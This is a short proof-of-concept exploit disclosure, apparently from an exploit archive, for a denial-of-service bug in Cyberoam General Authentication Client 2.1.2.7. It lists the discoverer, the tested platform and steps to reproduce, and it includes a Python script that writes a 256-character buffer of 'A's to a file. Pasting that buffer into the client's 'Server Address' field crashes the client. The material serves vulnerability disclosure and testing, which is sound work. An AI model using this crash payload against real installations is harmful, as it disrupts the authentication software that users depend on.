Cyberoam General Authentication Client 2.1.2.7 - 'Server Address' Denial of Service (PoC)

#Exploit Title: Cyberoam General Authentication Client 2.1.2.7 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/Cyberoam%20General%20Authentication%20Client%202.1.2.7.zip
#Tested Version: 2.1.2.7
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: cgac_2.1.2.7.py
#2.- Open cgac_2.1.2.7.txt and copy content to clipboard
#3.- Open Cyberoam General Authentication Client
#4.- In "Server Address" field paste Clipboard
#5.- Click on "Test"
#6.- Crashed! 

cod = "\x41" * 256

f = open('cgac_2.1.2.7.txt', 'w')
f.write(cod)
f.close()